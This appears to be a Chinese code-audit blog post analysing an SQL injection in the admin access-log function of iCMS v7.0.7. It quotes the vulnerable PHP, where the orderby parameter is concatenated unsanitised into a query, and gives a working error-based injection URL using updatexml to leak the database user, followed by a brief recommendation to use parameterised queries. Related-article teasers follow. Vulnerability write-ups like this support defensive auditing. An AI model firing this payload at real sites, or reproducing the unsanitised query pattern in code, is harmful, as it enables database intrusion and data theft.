0x00 环境准备

iCMS官网:https://www.icmsdev.com

网站源码版本:iCMS-v7.0.7

程序源码下载:https://www.icmsdev.com/download/release/iCMS7/latest

默认后台地址:http://127.0.0.1/admincp.php

默认账号密码:用户名密码自设

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/app/admincp/admincp.app.php 第36-53行:

  1. public function do_access_log(){
  2. $sql = "WHERE 1=1";
  3. if($_GET['keywords']) {
  4. $sql.=" AND CONCAT(username,app,uri,useragent,ip,method,referer) REGEXP '{$_GET['keywords']}'";
  5. }
  6. $_GET['cid'] && $sql.=" AND `uid` = '{$_GET['uid']}'";
  7. $_GET['sapp'] && $sql.=" AND `app` = '{$_GET['sapp']}'";
  8. $_GET['ip'] && $sql.=" AND `ip` = '{$_GET['ip']}'";
  9. 10.
  10. 11.     $orderby    =$_GET['orderby']?$_GET['orderby']:"id DESC";
  11. 12.     $maxperpage = $_GET['perpage']>0?(int)$_GET['perpage']:20;
  12. 13.     $total      = iCMS::page_total_cache("SELECT count(*) FROM `#iCMS@__access_log` {$sql}","G");
  13. 14.     iUI::pagenav($total,$maxperpage,"条记录");
  14. 15.     $rs     = iDB::all("SELECT * FROM `#iCMS@__access_log` {$sql} order by {$orderby} LIMIT ".iUI::$offset." , {$maxperpage}");
  15. 16.     $_count = count($rs);
  16. 17.     include admincp::view("admincp.access");

18. }

这段函数中将获取到的多个参数进行拼接,注意看orderby参数未经任何处理,直接带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

0x02 漏洞利用

根据漏洞位置,构造出参数 Payload:

http://127.0.0.1/admincp.php?app=admincp&do=access_log&from=modal&orderby=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))--

0x03 修复建议

使用参数化查询可有效避免SQL注入、

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】iCMS_v7.0.7 admincp.app.php页面存在SQL注入漏洞分析的更多相关文章

  1. 【代码审计】iZhanCMS_v2.1 前台IndexController.php页面存在SQL注入 漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  2. 【代码审计】iZhanCMS_v2.1 前台GoodsController.php页面存在SQL注入漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  3. 【代码审计】iCMS_v7.0.7 apps.admincp.php页面存在SQL注入漏洞分析

      0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...

  4. 【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析

      0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...

  5. 【代码审计】五指CMS_v4.1.0 copyfrom.php 页面存在SQL注入漏洞分析

      0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...

  6. Beescms_v4.0 sql注入漏洞分析

    Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...

  7. 【代码审计】iCMS_v7.0.7 search.admincp.php页面存在SQL注入漏洞

      0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...

  8. 【代码审计】五指CMS_v4.1.0 后台存在SQL注入漏洞分析

      0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...

  9. 【代码审计】XIAOCMS_后台database.php页面存在SQL注入漏洞

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

随机推荐

  1. 如何将baidu地图中的baidu logo 去掉

    今天我的老大问我是不是可以将baidumap 的js版中baidu logo 去掉.我上网查询一下,有各种方法,比如将对应的logo div remove hide 等等,这些都是需要JS 函数触发执 ...

  2. Sword pcre库函数学习三

    14.pcre_get_substring_list 原型: #include <pcre.h> int pcre_get_substring_list(const char *subje ...

  3. Android的线程使用来更新UI----Thread、Handler、Looper、TimerTask等

    方法一:(java习惯,在android不推荐使用) 刚刚开始接触android线程编程的时候,习惯好像java一样,试图用下面的代码解决问题 new Thread( new Runnable() { ...

  4. L1&L2 Regularization

    正则化方法:防止过拟合,提高泛化能力 在训练数据不够多时,或者overtraining时,常常会导致overfitting(过拟合).其直观的表现如下图所示,随着训练过程的进行,模型复杂度增加,在tr ...

  5. 使用mysqldiff生成两个数据库结构不同的脚本

    1,全库比较各个表的不同,并输出到文件 mysqldiff --server1=root:root@localhost --server2=root:root@localhost --difftype ...

  6. 高性能分布式哈希表FastDHT

    高性能分布式哈希表FastDHT介绍及安装配置 FastDHT-高效分布式Hash系统 FastDHT(分布式hash系统)安装和与FastDFS整合实现自定义文件ID Centos6.3 停安装 F ...

  7. 图像处理、计算机视觉与模式识别“SCI期刊和顶级会议”总结

    期刊: best (1) IEEE Transactions on Pattern Analysis and Machine Intelligence,IEEE模式分析与机器智能汇刊,简称PAMI,是 ...

  8. 软件设计模式之适配器模式(JAVA)

    什么是适配器模式? 在计算机编程中,适配器模式(有时候也称包装样式或者包装)将一个类的接口适配成用户所期待的.适配器能将因为接口不兼容而不能在一起工作的类工作在一起,做法是将类自己的接口包裹在一个已存 ...

  9. SharePoint 使用ECMAscript对象模型来读取帖子列表

    本随笔讲述如何用JavaScript来读取SharePoint 2013 中blog相关的帖子列表. ASCX File Content: <div id="divGetItemsFr ...

  10. cordova ios and ios8

    ios8发布后,一些用cordova编写的app会碰到问题,总的来说,cordova官方称是完全支持ios8的,而且由于ios8推出的WKWebView存在问题并没能很好的解决(看原文),仍旧用了UI ...